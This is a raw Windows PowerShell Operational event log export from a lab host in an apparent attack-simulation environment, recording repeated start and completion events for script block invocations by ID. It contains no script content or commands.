Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042709
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042707
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042706
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042689
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042683
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
